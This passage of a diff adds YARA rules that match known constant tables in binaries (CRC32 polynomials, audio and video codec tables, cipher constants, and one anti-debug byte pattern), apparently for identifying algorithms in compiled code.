+	$a0 = { e3e48f4acd997df2ca404ad094f15fcb5a276836be1648ff4c398ba7dbe96b4cd238ec4e80ec9642f896cecd382f8c88f50855e71464917b4aa10a0627f314a2af8d60bec2debb1ee98cf961fe5621e9a3d7224fd9a8763f334b9a555929ad389e7ef1f391bae185fba6ebe58cd4dc7378ffc3f558601b48f797328af43b1f8fb25a78935b4a7a475deb34632e1b256d2d10a974fa8fe307629c5c91ea75c2ccec73e26b70ddbd3e6c7995d81ba954dc81dfafc9733f6323b4195127676b9fb1226e7550e252b12ba246ea7632e253a3d66a592f0bdb1e0ba4d9d3024378b478903e8964adcaf040d73a8df60717fd46ef679c1cde86e0b5a66cee967447a39a8af4a41bfdab018df6e13e187aaaf85faefae417b08339308b66086c8243acd49f84c5e653fbfe92cec4cac188135043cf18114408b34fec868ea053c5e00f9e25151cf905be45acb57c98d78714ba4940899357487687d57f7258a9c3e3df5877cf36f4114d9e39a9bfa5f03ba361ef60ac4ca6bad0a80472d50d030f323db84530b2caf0f266e38d005d813aa497c8f32d351d1d57ccb94487f38b92902072eb24a1eb5ece99fb9342b93b9c54da2828a2b8aa857719a49602c7339b25f62521da855ceebd15dfe8c7b71575efabe2c19bc1fc68f87f4134448814795182621cc1d5c6dc05470ee00d702218afd2d3a022e89bf169b6355cb52bc45212800afcf05b1156d8d73c9d5f3fb4166530c2471c23a17e2049f195a70952d8ccb33454feae674e92832caccb626661d1ed5eaa81e6846bd2575dc45c46faa8c33a7ec60c7cbfa19a8ae16f0a2fc30dc02cb26903283d4f554e99d380f468e6f5cfad65b28e3a31982683098a56bd6aaec84b2b6df569c8ea170fc7b62e773c34419f42071dab506f6a827c09a2fe83c21219995818ce394844e4d535862dffb1d065177f5a86b19f6d322028e559e1ad900049713c75988bdd9dda91a6a5bb82030d30c9048900b06c08bdd3696ea7e7d424d04f24050c5e1a10cb7d946a7bf740e803500c7d1f0f377ced4552803f3d5ee00e88067935cdbfba97c67e1a2423058cdfc86e0c89a529d1025ba7c7e71dd812662abed9ab63421fb6fd73de0a68002a369e645655ed3331f20bfa902aa01029469d9d94dddcd1a0d4b7c9cfe57b67d2b336cb951094cd131333f7dbc0e8c6b74b4181f76d010b515711deb02cf6b0d6cc4e07bbb795137ff92c79ee3ed66fea8e93d65b64fc02afb87ab5da8437db8e8f311687011a4d164161f226b9e672b3062bfcf8040ec07a9ab82737a5bce9972f742a9c7d1f3bbc71b46571294c9b60515392201221e75ad1e54b455fb9ffc019f90eddc9702d6fbfc574096362aa984d1ed9016ebb84211e3cc4701559434d23857baebc06fbb676ee3154265dbcfd3d4977ede42e71c5370438a81a26ef2e }
+
+condition:
+	$a0
+}
+
+	
+rule Binary_arithmetic_decoder__LPSTable___T264_cabac_range_lps__8_byt_256_
+{
+strings:
+	$a0 = { 80b0d0f080a7c5e3809ebbd87b96b2cd748ea9c36f87a0b9698098af647a90a65f74899e5a6e829655687b8e516375874d5e6f804959697a4555647442505f6e3e4c5a683b4856633845515e35414d59333e4955303b45502e38424c2b353f4829323b4527303841252d363e232b333b2129303820272e351e252b321d2329301b21272d1a1f252b181e2329171c2127161b2025151a1e2314181d2113171b1f12161a1e1115191c1014171b0f1316190e1215180e1114170d1013160c0f12150c0e11140b0e10130b0d0f120a0c0f110a0c0e10090b0d0f090b0c0e080a0c0e08090b0d07090b0c07090a0c07080a0b0608090b0607090a0607080902020202 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_88_areas__8_byt_64_
+{
+strings:
+	$a0 = { 00000001010102020000010101020202000101010202020301010102020203030101020202030303010202020303030302020203030303030202030303030303 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_t_huffman_sa__8_byt_28_
+{
+strings:
+	$a0 = { F1010203F0F20405EFF30607EEF40809EDF50A0BECF6EB0CEA0DF7F8 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_15_tap_lo_filter__flt32___32_big_60_
+{
+strings:
+	$a0 = { baa383e5bb2384ad3c0f0c453ca37edfbd4ef77fbdf6e36d3e960a123f34c7f63e960a12bdf6e36dbd4ef77f3ca37edf3c0f0c45bb2384adbaa383e5 }
+
+condition:
+	$a0
+}
+
+	
+rule LZMA_compression__8_byt_24_
+{
+strings:
+	$a0 = { 000000000102030405060405070707070707070a0a0a0a0a }
+
+condition:
+	$a0
+}
+
+	
+rule SecuDE_random_add__32_big_32_
+{
+strings:
+	$a0 = { 23571113171921232931374143475359456fbcae456fbd67245fbcdd43563567 }
+
+condition:
+	$a0
+}
+
+	
+rule Sharkbox_crypto_algorithm_iG__8_byt_64_
+{
+strings:
+	$a0 = { e7309085d04b914153959ba596bca1680245f7655c1fb652a2ca229444632aa2fc678e10297585712445a2cf2f22c10ea1f17140912718a556f4af32d2a4dc71 }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_2__16_big_258_
+{
+strings:
+	$a0 = { 40003edc3db93c963b733a523931381336f535d934bd33a3328a317530602f502e412d332c252b1d2a15291228102715261a2524242f23412253216d20871fa71ec71de71d071c2f1b581a8819b918f3182e176e16af15f91545149813ec134912a61205116410cd10360fa70f190e930e0d0d8d0d0d0c920c1b0ba50b350ac60a5c09f20988091e08ba085607f9079d074806f306a30654060b05c2057f053c04fe04c104850449041303dd03ac037b034e032102f702ce02a802830261023f021f01ff01df01bf01a20185016b0151013a0123010e00f900e600d400c300b300a4009500870079006c00600055004a00400036002d0024001c0014000d00060000 }
+
+condition:
+	$a0
+}
+
+	
+rule m_huffman_c__from_doomsday___flt32___32_lil_1024_
+{
+strings:
+	$a0 = { 64cf853e09958a3cf657cc3de2f2ec3b8fa4a13d4185583becfe823b3f75523d575d9f3b5e61033b888fc13c64e0853a53d1303c610aa83a58ab913a0b114c3ae083c13b071d3f3a41303a3bee7a443c71ffc33b21ca3e3a180ab63b4a2f573ab0d5703bce17a93a9e8fd83a9a0f3e3b4d769d3a63f4713aa526833acb22773a17470f3c57fa1b3a6b1ab43a6911963ab3006d3b20fea33a91ffb13a18d8e13a1bc9643ab9b7833a7da82a3af9dba23a764c9e3afcadd13a4860b23ad6adae3a57bb873be668d13a4793f23a300f8a3a43104e3a6848853ab9e3173b3acd813a3d9fb03ad3b8fc3a27acc43aeb37033b5973fd3ae2abb33a475a9e3adabce03a0122a53b502d273b13d40a3b4b43503bee19fc3aa0f1c33a776dd73ac477e03a3b7ac83a049da43afbaac73a72e7a83a38c3be3afff7213af24b313a728e5b3abc184a3b0ab6193a6557823ae76f8a3a206e673a386b163b77378d3a3b0a853a4b8bae3a04d3ee3aac0a6e3bdd25853ab4d7623a112a413a68d71c3a6f82333ae6cb543bfa6dc43a45fe463a6d943a3ae7fa723a822e593aba2d5b3a620d323a25a6b03aa887493a10ed3d3a79779a3ae0bd3a3a1aab353a9f7a473acbec2c3ac8c9d53bdcc92d3ab3ef7d3afb70ce3a7940ab3a6199bf3ad7b0b83a23d4813a0ee49f3adafa083beab2a13a369b4c3a17f42b3aa8691a3a5c7baf3b052c3c3b4afb473cdbfd923a8d0ba53a86b2a23a8b05113a5e4fef397b65133a0e54e339ae33053af2f6123a239a083aac450c3ae2ca073ac459313aca231c3a9567313a7f98343c20c4aa3a5085cf3a81d3a63a0ab9a33aed17973a1db8823a5f010a3ad197433a98b1813a7f1fa73a2551923a10f0c73a82849c3a646f9d3ada4f273af7d71f3cc86c123aa36e543aca04483a67b2b43a2720b73af1d1aa3ad142a53ab5a7ac3a112dcb3a1e849d3ae1df983a6848853a0f5ea63a362b893a9d6dfa3934a0133c0585093a49bc093a8335123ac478053afe0f3d3acd85073a569e443a0e54633a4c1d503a9b49373a93988c3a4f60673ab99b393ac9fe333a682c3b3a53921c3c2e762f3a14736c3a27c88e3a4a859a3a35ee853a12fa8a3a8626953a67d0e33a9fccdb3ac33add3a4b6cda3acaabfa3a983cea3a4793f23a3815533bf98e293ce27f1f3b21d8233b16b7a83a04d4933a3e4d9c3a7a28903a9cdf873aea26943a054b903a35ee853a4e5e823a79b1933a11bd873a179f8d3aac0b933aff9c193cea608d3aa113a23ab5a4a23afadeac3a41ec8a3a76fa893afc3d8e3a30d89a3ac477603a8e48a83a357a933adcc9ad3a0278bc3a374cc23ad5ffc23a6501bf3b3680a73a8847ce3af03ee43a19a8ab3a49d7ae3ad9486e3a569ec43a5c9bef3a7014d53a656ef83ac1682e3b91a96e3ba1e35e3b2d73a53b3c07253c }
+
+condition:
+	$a0
+}
+
+	
+rule Huffman_LZH_p_len__8_byt_64_
+{
+strings:
+	$a0 = { 03040404050505050505050506060606060606060606060607070707070707070707070707070707070707070707070708080808080808080808080808080808 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x4db26158__32_lil_refl_False_
+{
+strings:
+	$a0 = { 000000005861b24db0c2649be8a3d6d638e47b7b6085c93688261fe0d047adad70c8f7f628a945bbc00a936d986b2120482c8c8d104d3ec0f8eee816a08f5a5bb8f15da0e090efed0833393b50528b76801526dbd874949630d7424068b6f00dc839aa569058181b78fbcecd209a7c80f0ddd12da8bc6360401fb5b6187e07fb2882090d70e3bb4098406d96c021dfdb106672764807c03ba0a416edf8c5a4a0584afefb002b4cb6e8889a60b0e9282d60ae858038cf37cdd06ce11b880d5356907354adc812e6e020b1303678d0827ba8972fd6f0f69d9b18554b4d4034f900e0bba35bb8da11165079c7c00818758dd85fd820803e6a6d689dbcbb30fc0ef65004131a0865a157e0c67781b8a7c5cc68e068613081da2cd8220cfa8043beb720cce4ec78ad56a1900e8077c86f323a18289f9740492ddaa8eafb0cf08b4941e8f54ebab094fcf758372a210056986cd01135c18870878c60d3515a38b2e317983db94cc05c0b0128ffddd7709e6f9aa0d9c237f8b8707a101ba6ac487a14e178861a1720e7a85ac8447e8c9025ccc14062616c1803d321f0a005f7a8c1b7ba084eede1502f5facb88c897ae0ed3b3730aa969a68cb24d78068f201d809404cc07747b79816f5fa70b5232c28d49161f8933ccca0f28e81485158571030ea1ab0bfb041e8de020c007dd4da581c6697885bcb3ad03a79773899afa160f81deca0082634f869947910ca42af48abf0e298ec5d4fc08def02282e39d4704f8b99d0c0d1c288a1638f6002b55938630714e824aab9b04518f458e6ce2200877c6f18f97b944098c9d9a83b1f0ff05aad42201d00ef787cb2a290df6474c8bed63968318c6230503e2fd8f3e8f980925ab450d5f71908b44554e0179382b87621cf888a2f39d0eb9d7438484ba26029f9efb06e5442e80fe60f00ac30d958cd8294f842d8cfa0236a824880bc5410e10e19c0a6a3b498c711f97064c72f28057562307b7299681ac0d480b91602d8d8a44f089f09e250febbafb85d6d79e03cdf3440b3856f18d23722f071e1f4a81053b97857fe1420364c59c8959a8f90f428c2f00c352ea86d876340ce51b518afe3f8c8e84e559089fc18782a2ace204b988380c4c2d8d8a570953006a6436867140eb820b9a3e0410bee08e2dd3850836f7548fd688e109cdac3f83f0c15a05ebe58701913f52878a1b8c0db776e98bac52338359f7860542d3588f7fbe3d09649ae00d1e40358b0564eb0138098e87232d5d88e3c2380ef8e6e684c58b8302deaf5e06a4758b80bf51550a823c308c9918ea846cbd5f02779981884af4e40e51d0390a2b0aec8c302e32060d43578016678607f6183381ed3ced0bd051888dcb755589b1af800faa8b5e8597e63b038cc2e10b7967548d62438a075f2eef81440a32853ed0e70325f4398918995c0f03bd8 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_exp_tab__flt64___64_big_256_
+{
+strings:
+	$a0 = { 3f274eeae37d014c3f34b96c0f2043113f426d42bf1078533f50624dd2f1a9fc3f5d22a59c5c419f3f69e7c712e853d63f7708936ed496673f847ae147ae147b3f9235a781b9a9043fa030dc6bd134663faccab84a89bc013fb999999999999a3fc6c311622813453fd43d1386c5817f3fe1feb32e9615813ff00000000000003ffc73d5bab2181640094c586876e1df40167e5ffa3b9ae140240000000000004031c86594af4f0e403f9f6e82949a56404c1df7f8ca8199405900000000000040663a7ef9db22d14073c3a5119ce076408192bafb7e9100408f400000000000409bc91eb851eb8540a8b48e5604189340b5f769ba5e353f40c3880000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__PEB_NtGlobalFlags__8_byt_14_
+{
+strings:
+	$a0 = { 64a1300000008b406883e07085c0 }
+
+condition:
+	$a0
+}
+
+	
+rule ARIA_encryption_KRK__32_lil_48_
+{
+strings:
+	$a0 = { b7c17c51940a2227e8ab13fee06e9afacc4ab16d20c8219ed5b128ffb0e25def1d3792db70e92621759724030ec9e804 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dv_remap__8_byt_130_
+{
+strings:
+	$a0 = { 0000000000000000000000000001000200030a000a010a020a0314001401140214031e001e011e021e03280028012802280332003201320232033c003c013c023c0346004601460246030040004100420a400a410a421440144114421e401e411e422840284128423240324132423c403c413c424640464146420043144328433c43 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0xcb61b38c__32_big_refl_True_
+{
+strings:
+	$a0 = { 0000000020d9e1af2228cef902f12f5627ca9055071371fa05e25eac253bbf032c0e2d0d0cd7cca20e26e3f42eff025b0bc4bd582b1d5cf729ec73a10935920e3b8757bd1b5eb61219af9944397678eb1c4dc7e83c9426473e6509111ebce8be17897ab037509b1f35a1b449157855e63043eae5109a0b4a126b241c32b2c5b31495a2dd344c437236bd6c2416648d8b335f32881386d3271177fc7131ae1dde389b8fd018426e7f1ab341293a6aa0861f511f853f88fe2a3d79d17c1da030d32f12f5600fcb14cf0d3a3b992de3da3608d865352801849a2af0abcc0a294a63031cd86d23c539c22134169401edf73b24d64838040fa99706fe86c12627676e292b45ba09f2a4150b038b432bda6aec0ee1d5ef2e3834402cc91b160c10fab9052568b725fc8918270da64e07d447e122eff8e20236194d00c7361b201ed7b412ac12073275f3a83084dcfe105d3d513566825215bf63fd174e4cab3797ad043ea23f0a1e7bdea51c8af1f33c53105c1968af5f39b14ef03b4061a61b9980093dbee7671d6706c81f96299e3f4fc8311a7477323aad969d385cb9cb1885586411b0ca6a31692bc5339804931341e53c367a5a3f16a3bb90145294c6348b75690639b0da26e0517524117e2304c89f8c21f3208f012ac12003dbee7623020fd92a379dd70aee7c78081f532e28c6b2810dfd0d822d24ec2d2fd5c37b0f0c22d431cd86d31114677c13e5482a333ca9851607168636def729342fd87f14f639d01dc3abde3d1a4a713feb65271f3284883a093b8b1ad0da241821f57238f814dd0a4ad16e2a9330c128621f9708bbfe382d80413b0d59a0940fa88fc22f716e6d2644fc63069d1dcc046c329a24b5d335018e6c3621578d9923a6a2cf037f43602558240e0581c5a10770eaf727a90b580292b45b224b55f420ba7aa200639b0d09560903298fe8ac2b7ec7fa0ba726552e9c99560e4578f90cb457af2c6db6001edf73b33e06921c3cf7bd4a1c2e5ce53915e3e619cc02491b3d2d1f3be4ccb032d15ebe1208bf1110f99047302071e8151bceeb35c22f443733001217eae1bd18e6c369383f22c63ace0d901a17ec3f3f2c533c1ff5b2931d049dc53ddd7c6a34e8ee6414310fcb16c0209d3619c13213227e3133fb9f9e310ab0c811d35167236194d403b8757b01495a2d2190bb8204ab04812472e52e2683ca78065a2bd70f6fb9d92fb658762d4777200d9e968f28a5298c087cc8230a8de7752a5406da0c7361b42caa801b2e5baf4d0e824ee22bb9f1e10b60104e09913f182948deb7207d4cb900a4ad1602558240228c63ef07b7dcec276e3d43259f12150546f3ba37f43609172dd7a615dcf8f03505195f103ea65c30e747f3321668a512cf890a1bfa1b043b23faab39d2d5fd190b34523c308b511ce96afe1e1845a83ec1a407 }
+
+condition:
+	$a0
+}
+
+	
+rule libmpdvdkit2_p_css_tab3__8_byt_512_
+{
+strings:
+	$a0 = { 0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff0024496d92b6dbff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_MACEtab2__16_lil_1024_
+{
+strings:
+	$a0 = { 25007400ce004a0127007900d8005a0129007f00e10069012a008400eb0079012c008900f50088012e00900000019a01300096000b01ac0133009d001801c1013500a5002501d6013700ac003201ea013a00b3003f01ff013c00bb004d0116023f00c3005c012d024200cd006c0147024500d6007c0161024800df008c017b024b00e9009e0197024f00f400b101b6025200fe00c501d50256000901d801f4025a001601ef0118035e00220104023a0362002f011a025e0366003c01320285036b004b014c02ae03700059016602d70375006901810203047a0079019e0232047f008a01bd02630485009b01dc0294048b00ae01fc02c8049100c1011f0300059800d501430339059f00ea0168037505a60000028f03b305ad001702b703f305b5002e02e1033606bd0048020e047f06c50062023d04ca06ce007d026d041707d70099029f046707e100b702d504bc07eb00d6020b051408f600f70245057108010118038105d1080c013c03c00535091801610302069f092501870346060c0a3201b0038e06800a3f01da03d906f70a4e0106042807750b5d0134047a07f90b6c016404cf07820c7c0196042808100d8e01cb048608a60d9f010105e608410eb2013b054c09e30ec5017605b6098e0fd901b505260a4010ef01f6059a0afa1005023a06130bbc111c028106910b85123402cc06150c59134d021a07a00c371467026a072f0d1d158302c007c70d0f169f021808630e0a17bd027408080f1118dd02d508b40f2619fe023a096710441a2003a3092211701b4403120ae711ab1c6903840ab212f01d9003fd0a8913481fb8037a0b6714ac20e303fe0b511523220f04870c4516a9233e04160d441741256e04ab0d4c18e826a104470e6119a428d604ea0e841a752a0d05950fb31b5b2c47054610ef1c552e830500113a1e6630c205c311941f923204068e12fc20d2344906621375222e3790063f14ff23a439dc0627159a25373c2a0719164927e83e7c0715170929b641d1071d18df2aa6442b083019c72cb4478808501ac62ee74aea087d1bde30404e4f09b71c0c33be51ba09ff1d54356555290a551fb43732599d0abc20313a2e5d160b3122c93c5661950bb823803faf65190c51255642396aa40cfb264c45f76e340db8286448eb73cb0d8a2a9f4b1879680e6f2cfe4e7e7e0d0f6b2e8552ff7fb90f7e303556ff7f6d10a7320d5aff7f2811ea34125eff7fed1147374562ff7fb912bf39a866ff7f8f13523c3c6bff7f6f14043f0670ff7f5815d3410575ff7f4c16c3443e7aff7f4b17d547b37fff7f55180a4bff7fff7f6b19634eff7fff7f8d1ae351ff7fff7fbd1b8b55ff7fff7ffa1c5c59ff7fff7f451e595dff7fff7f9f1f8461ff7fff7f0821de65ff7fff7f81226a6aff7fff7f0c24296fff7fff7fa7251f74ff7fff7f }
+
+condition:
+	$a0
+}
+
+	
+rule Ultima_Online_uodemo_dat_algorithm__32_big_992_
+{
+strings:
+	$a0 = { 000000e4000000ea000000e9000000e2000000ed000000e8000000e0000000ee000000e6000000eb000000e1000000ec000000e7000000ef000000e5000000e3000000b4000000ba000000b9000000b2000000bd000000b8000000b0000000be000000b6000000bb000000b1000000bc000000b7000000bf000000b5000000b3000000440000004a00000049000000420000004d00000048000000400000004e000000460000004b000000410000004c000000470000004f0000004500000043000000c4000000ca000000c9000000c2000000cd000000c8000000c0000000ce000000c6000000cb000000c1000000cc000000c7000000cf000000c5000000c3000000640000006a00000069000000620000006d00000068000000600000006e000000660000006b000000610000006c000000670000006f0000006500000063000000d4000000da000000d9000000d2000000dd000000d8000000d0000000de000000d6000000db000000d1000000dc000000d7000000df000000d5000000d3000000f4000000fa000000f9000000f2000000fd000000f8000000f0000000fe000000f6000000fb000000f1000000fc000000f7000000ff000000f5000000f3000000a4000000aa000000a9000000a2000000ad000000a8000000a0000000ae000000a6000000ab000000a1000000ac000000a7000000af000000a5000000a3000000240000002a00000029000000220000002d00000028000000200000002e000000260000002b000000210000002c000000270000002f0000002500000023000000340000003a00000039000000320000003d00000038000000300000003e000000360000003b000000310000003c000000370000003f0000003500000033000000840000008a00000089000000820000008d00000088000000800000008e000000860000008b000000810000008c000000870000008f0000008500000083000000140000001a00000019000000120000001d00000018000000100000001e000000160000001b000000110000001c000000170000001f0000001500000013000000040000000a00000009000000020000000d00000008000000000000000e000000060000000b000000010000000c000000070000000f0000000500000003000000740000007a00000079000000720000007d00000078000000700000007e000000760000007b000000710000007c000000770000007f0000007500000073000000540000005a00000059000000520000005d00000058000000500000005e000000560000005b000000510000005c000000570000005f0000005500000053000000940000009a00000099000000920000009d00000098000000900000009e }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_sa_sqrt_1_minus__flt64___64_lil_128_
+{
+strings:
+	$a0 = { 000000000000f03f000000000000f03f14ddba68b6f5ef3f2d10a254797def3f5879c5fd8eebef3f6b62be1201b4ee3f3e9c620359d7ef3fa41bceed3fa1ec3fbba71ad96fafef3f109c0fdc3c76ea3f05b493129961ef3f27b15f081d9ae63f550b66f8c1ccee3fffc7cf67bc04dd3fd0243f4ff4baed3f0000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_t_huff_iid_fine__8_byt_120_
+{
+strings:
+	$a0 = { 01E1E20203E004050607DFE308DEE409DDE50A0BE60C0D0EDBE70F1011DC12DAE8131415EA161718D9E9191AEC1B1C1DD7EB1E1F20D821D4EE22232425D5ED2627D628292A2B2C2D2ED2F02FD3EF3031CCCDF3F4CECF32333435363738D0F2393AD1F13BC7FBC5C6FEFFFCFDC3C4C8FAC9F9CAF8CBF7F5F6 }
+
+condition:
+	$a0
+}
+
+	
+rule Melp_fsvq_cb__flt32___32_lil_8188_
+{
+strings:
+	$a0 = { ffaf523fa986bf3f88b8153fff20a83ffb93583fca311d3f2b841d3fe4be613f2f199d3f13f1663f61c39f3fe19b823f2c66043f249abe3f0987263f0587373f467d263f6953a13f6efb5e3f3b6e683f1a6d953f68eabb3f5a4a3e3f5856363fc13ac83f2596383f293d073fb153283fe962433f62be583fa583853f9bfec83f488be33e32e66e3f611b9b3f9a7c2b3fcac36e3f04754e3ff2ed693f3d455e3f1556423fb6d9843f7440903f3d0c913fcd014a3fb3b14e3f2907873f842c733fa801813fb6498f3f6b2b7a3ff0c0903f7cb5853f0d6cb73f2ee4513fb08d043fd5b16e3ff7e7763fb709633f4b3b653f3b8b2a3fd498ae3f63628b3f0ff2663ff12f8e3f1e157b3f963d6d3fd5225e3f46d06c3f05de693f03b27b3f41f4ba3f3e763b3fdc686c3f8f568b3f58c9733f6b274a3fe335833f7498673fe5b55a3f9d80323f0d55d33fbea4013f24424f3f4a978e3ff6b58a3f9336213ff6797c3f3d0a5f3f4a417f3fbad93f3fdb6fad3f70403b3f2906a43f705c8a3f1ec4843f1e893f3f5e4d523f213d613f2d21773fec157a3f249b0040f9d83d3f4f5b1b3ff019253f4cfa2f3ff4a6423f5454553f8eae5e3f287f4f3f21af133f0491c33f395f283fd3dc803fe1079d3f5567493f12c07d3fdf37523fffea813f69c8603ff167043f1c459c3f56f5623f4feb7a3fbf65623fcf49853fc003733f9d9c613fabcdaf3f1008643ff4dc263f43ab8d3f289b623fe125aa3ff2eb8f3f8674203fc66ca13f488c523f6688773f02624e3f0f451d3fb116b73f7a52663f01e0583f9fe31f3f9c4da73fc32cae3faa453c3fddb35a3f45bd2c3f77a2543f1ec1af3f2235493f49673c3facff773fefe38c3f70786d3fa27b3a3f4661a53fac8c623f4cc38a3fd060b13f2c9fe53e1b13a63fc346453f9f21383f8a568a3f03eb683fc39a563fdae4683f514f9f3f1f48943f40a21d3f6cb5953fa930843fadfb6b3f55a06a3f52b9873ffa44563fbb60443fdc2ca83f8db3ab3fb1a2f63e8c832f3fd21c8b3f6971803fc11a433fe61f553f75728a3f86cb6a3f6dacb63f34bb6e3fa88b183f7311273ffb73893f73f4583fa7cca13fc345663f2a36663faa7e753f268d833f6a689b3f5473653ff5d6783f9489573fb0013d3f302d863f0af8893f3cdb733f7635873fc9c6733f709a8c3f8db8303f077e963ff565693f1172763f0ef95b3f82c7913f1e8b893f3a916c3f0dfe663fc3f5943f0f61923faa9a503f21596c3f931b793fcea78c3fb24c773ff206783f5da4643ff222913fa7238e3fd505303f15364b3f8065833fdcd7893f4ab7973f4e64523f5470583f4c368a3f91b81f3fc58ca23fb6d9383f6b817d3fd576973f3fab943fd7682d3f0683993fc8ee663fd635623ffdfa153f7e36983f2409623f5e2b913fb074663f4bb1a13fbff47e3f946c813f2e01683fc9035d3f9a07303fb7efc73ff1d7503ff2b1333f302d4a3f46249a3fc251523f2b86953f368f633ff25b5c3f2860733fe21daa3f5853313f7b30413f90498c3fa321b93f7008713fbeda353f193a4a3f7f86533f6d20053fcf81a53fd861703fa48b7d3f43a9653f0c076a3fc0e9ad3ffeb6733fb0a96f3f6685563f596c2b3f6554a53f4fcb3f3f2e70953f4375853f04a9383f64ac803f3658a03f7a18623f02bb5a3f28f0fe3e247b9c3fb3b4b33f118f4c3fa96c4c3fc4254b3fdcd9a13faf7d753fea04583f4aee683fc746643fffcbab3f83fa423f3718423f0dc67c3fc615813fb249b03f897b583fae82583ff67f523fa04f963fddb1e83ed674dd3e5b09313f917b883f23f8633fa390583f4415903fc24cab3fe61e9a3f55c0cd3f732f303f7028003f96e8a43f81d12d3fc5ca2c3f211d863f22a9813f6f66743f1b9f4d3f6b9dde3f1b676b3fe1b5233fada3463f18cf823feae77d3feb3b633ff65e603f16fb4b3f1762453fdd61cf3f15199b3f12321c3f0fb7af3fc956873f813d1e3f529b243f9cdd2a3f408a2a3f6c432d3f63279c3fe71c583ffb1f823f0f0e5e3f1bd8803f17b8703fe1d3643fa48a763f69fc3a3f27a5a43f7139a03f0b9c803f1ff2463f09179a3fa708283f963e283f01db9d3fd4f25f3faca88d3faaf15a3f1aa6ac3f84bc4a3fc8ef833f9eeb433f85e9813f86ab853f16683f3f2ba3a73f0b9a5a3fc91e393f16a2a13f070a8e3f53082c3f12138e3f1ede533f47e7a23fecc22b3fedb9883f90a4403fe9d1603f76e38d3f5517a03fe0ba1e3f6aa1403f3b38b83f4e0d643fa857823fb29c3c3fca16693fcc5f593fcc7d9c3f38bc8a3fa9bd203f683e933f1a4db03f4a28493fed0d2e3f33df653fe3c15a3f41b76b3fcec5a93f6c5bd83fd02b983f5664183f2d261a3f5f79203fd1242d3f3d47543f4032493f95b64c3f87f8bf3f4f40b33fd1e7273f247f643f88658b3f1fd6333fa5f3553fd4d24c3f0d343b3f2bf8553f8736903fa438ad3fb2f4653fcfda653fd6386f3f3466803f27837b3fe8dd503fafcc733f24ef543f5a82a83f6caf873f4feb2a3f4a5f883f780e693f8045803fcb65ab3fbaf6353ffe64383faa49503fdae7793ffd4db03f1d1f893f10214a3fb0ff8a3fb77ca03fe144823f9813383fe7c30f3f793c313f9df7993f938d873f807f763fb1fa7f3fa65f063f3b8a893f82aa8b3fd926693fbcb2853f861b5c3f2afdb43f4d2e563fb7992a3f1613853f6f468b3fbef9513fb1fd503fe44d863f97a88a3f7d94613f08adb13fc39e4e3f6214483f90d8763f083b793f32ab913ffd6b833fd28d783f63d05d3f834f573fbb60ba3ff86e7b3fa1d80e3f541a3d3f1b11b03f73bd453f1af9243fd5cb733fb262743fbf99803f3998cd3fc5379c3f33fb3c3f07b63e3f5dc3283f492d503fcba06e3fd53f6c3ff8c6743f5b5f643f433c903f0ddf843f96796f3fb29f813f69528a3ffa63623f1a30903fb6da893f9835513f99833c3f9f909b3f5f79583ff04c543f863c9a3f543a643fdf366f3f2442633f645d703f71ab743f4e9c8e3fe46a9a3f3b557a3fb08d863f060d593f0c94703fa586a03f9469783f8faa663ff914583fa3cd513fb4929a3f4ef0793fe55f573ffbcb5e3fba9e603f40f87c3fcf846e3ffe0d843fd84a9a3f1f66673f382d8c3fde748d3f3d0c393f3f74713f90109b3febe4963f575e223f77f55e3f4580813fbaba6f3f0919843f19ad7f3fdeae2f3f0ada8c3f6edc823fa3779c3fb5c6923f0919503f53586d3fd0284d3f1de3903fc4afbe3f01862d3fff581c3f2d5c423f15e14e3fa470853f76df893f6092843fda1f683f2cd7ab3ff9bf893fb459153fd5cf433fce6e513f4c8ea53f1973873fa52d5a3fd369753f97755f3f957da73fc51e9c3fa6816f3f2101373f4c8b903faf605b3fcbbe6b3fb98e793f174a523ff111593f18b1af3f971c633f88f2353fabd1833fe6b2a33f336e263f897a913f72c1613fae9c593fe7e4513feb8d823f8ae3b03f73668b3fceaa133f874d183f1f84403fceffa13f7094903f562c5e3fa5a3443f95d2933f5ce8883fbef9693f8acd4b3f274e4a3f3fad5a3f520fc33f52625b3f6e50633fccb4413f49f35f3f4da0d23f0c93553f5402ca3f486c673faf0a0c3febc5103fd140343f9981323faeba363f33a3933f342e8c3f48dd5e3f20efd33ffd31893fc7634e3fad871b3fac1d113f91f32e3fcd8f533f81b3543f9b74b93f66db813f8864703fd179c93fc5e64b3f61a4273ffb050f3fa33f243fd8104c3fd61a903fcfbeb23f170f3f3f66d9a53fdd97913f5a9da63fcd23133fcb0ef93ef278fa3eefae1b3f3126553f4e804d3f94fa923f1684a83f9622a73fc558323fd1cf703f8123593f01695f3f85ef593fca50a13f185e753fa2d02a3f1006b43f74ed5b3f6cb4083fa089f83ee04b393f828